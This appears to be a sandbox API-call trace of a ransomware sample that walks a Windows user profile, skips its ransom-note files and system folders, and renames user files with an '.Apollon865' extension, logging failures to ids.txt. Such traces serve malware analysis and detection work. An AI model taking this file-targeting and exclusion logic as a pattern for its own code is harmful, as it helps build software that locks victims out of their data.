	[0086.096] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2.apollon865"), dwFlags=0x1) returned 0
	[0086.096] GetLastError () returned 0x20
	[0086.096] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 75
	[0086.096] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 75
	[0086.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0086.096] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6257
	[0086.096] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x4b, lpOverlapped=0x0) returned 1
	[0086.097] CloseHandle (hObject=0x9c) returned 1
	[0086.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0086.097] CloseHandle (hObject=0x0) returned 0
	[0086.097] CloseHandle (hObject=0x0) returned 0
	[0086.097] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0086.097] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.097] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="Apollon865.txt.exe") returned 1
	[0086.097] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1
	[0086.097] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="windows") returned -1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="bootmgr") returned 1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="temp") returned -1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="pagefile.sys") returned -1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="boot") returned 1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ids.txt") returned 1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ntuser.dat") returned 1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="perflogs") returned -1
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="MSBuild") returned 1
	[0086.098] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0086.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned 45
	[0086.098] lstrcpyW (in: lpString1=0x119e644, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf"
	[0086.098] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0086.098] lstrlenW (lpString="Apollon865") returned 10
	[0086.098] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="Apollon865") returned 1
	[0086.098] lstrlenW (lpString=".dll") returned 4
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1
	[0086.098] lstrlenW (lpString=".lnk") returned 4
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1
	[0086.098] lstrlenW (lpString=".ini") returned 4
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1
	[0086.098] lstrlenW (lpString=".sys") returned 4
	[0086.098] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1
	[0086.098] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0086.098] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Apollon865") returned 96
	[0086.098] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.apollon865"), dwFlags=0x1) returned 0
	[0086.098] GetLastError () returned 0x20
	[0086.099] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 115
	[0086.099] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 115
	[0086.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0086.099] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x62a2
	[0086.099] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x73, lpOverlapped=0x0) returned 1
	[0086.099] CloseHandle (hObject=0x9c) returned 1
	[0086.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0086.099] CloseHandle (hObject=0x0) returned 0
	[0086.099] CloseHandle (hObject=0x0) returned 0
	[0086.099] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0086.099] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.099] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="Apollon865.txt.exe") returned 1
	[0086.099] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1
	[0086.099] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1
	[0086.099] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="windows") returned -1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootmgr") returned 1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="temp") returned -1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="pagefile.sys") returned -1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot") returned 1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ids.txt") returned 1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="perflogs") returned -1
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="MSBuild") returned 1
	[0086.100] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0086.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 85
	[0086.100] lstrcpyW (in: lpString1=0x119e644, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms"
	[0086.100] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0086.100] lstrlenW (lpString="Apollon865") returned 10
	[0086.100] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0086.100] lstrlenW (lpString=".dll") returned 4
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1
	[0086.100] lstrlenW (lpString=".lnk") returned 4
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1
	[0086.100] lstrlenW (lpString=".ini") returned 4
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1
	[0086.100] lstrlenW (lpString=".sys") returned 4
	[0086.100] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1
	[0086.100] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0086.100] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Apollon865") returned 133
	[0086.100] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.apollon865"), dwFlags=0x1) returned 0
	[0086.100] GetLastError () returned 0x20
	[0086.101] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 152
	[0086.101] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 152
	[0086.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0086.101] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6315
	[0086.101] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x98, lpOverlapped=0x0) returned 1
	[0086.101] CloseHandle (hObject=0x9c) returned 1
	[0086.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0086.101] CloseHandle (hObject=0x0) returned 0
	[0086.101] CloseHandle (hObject=0x0) returned 0
	[0086.101] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0086.101] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.101] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="Apollon865.txt.exe") returned 1
	[0086.101] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1
	[0086.101] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1
	[0086.101] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="windows") returned -1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootmgr") returned 1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="temp") returned -1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="pagefile.sys") returned -1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot") returned 1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ids.txt") returned 1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="perflogs") returned -1
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="MSBuild") returned 1
	[0086.102] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0086.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 122
	[0086.102] lstrcpyW (in: lpString1=0x119e644, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms"
	[0086.102] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0086.102] lstrlenW (lpString="Apollon865") returned 10
	[0086.102] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0086.102] lstrlenW (lpString=".dll") returned 4
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1
	[0086.102] lstrlenW (lpString=".lnk") returned 4
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1
	[0086.102] lstrlenW (lpString=".ini") returned 4
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1
	[0086.102] lstrlenW (lpString=".sys") returned 4
	[0086.102] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1
	[0086.102] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0086.102] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Apollon865") returned 133
	[0086.102] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.apollon865"), dwFlags=0x1) returned 0
	[0086.102] GetLastError () returned 0x20
	[0086.102] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 152
	[0086.103] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 152
	[0086.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0086.103] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x63ad
	[0086.103] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x98, lpOverlapped=0x0) returned 1
	[0086.103] CloseHandle (hObject=0x9c) returned 1
	[0086.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0086.103] CloseHandle (hObject=0x0) returned 0
	[0086.103] CloseHandle (hObject=0x0) returned 0
	[0086.103] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="Apollon865.txt.exe") returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2=".") returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="..") returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="windows") returned -1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="bootmgr") returned 1
	[0086.103] lstrcmpiW (lpString1="ntuser.ini", lpString2="temp") returned -1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="pagefile.sys") returned -1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="boot") returned 1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="ids.txt") returned 1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat") returned 1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="perflogs") returned -1
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2="MSBuild") returned 1
	[0086.104] lstrlenW (lpString="ntuser.ini") returned 10
	[0086.104] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 122
	[0086.104] lstrcpyW (in: lpString1=0x119e644, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini"
	[0086.104] lstrlenW (lpString="ntuser.ini") returned 10
	[0086.104] lstrlenW (lpString="Apollon865") returned 10
	[0086.104] lstrlenW (lpString=".dll") returned 4
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1
	[0086.104] lstrlenW (lpString=".lnk") returned 4
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1
	[0086.104] lstrlenW (lpString=".ini") returned 4
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1
	[0086.104] lstrlenW (lpString=".sys") returned 4
	[0086.104] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1
	[0086.104] lstrlenW (lpString="ntuser.ini") returned 10
	[0086.104] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Apollon865") returned 51
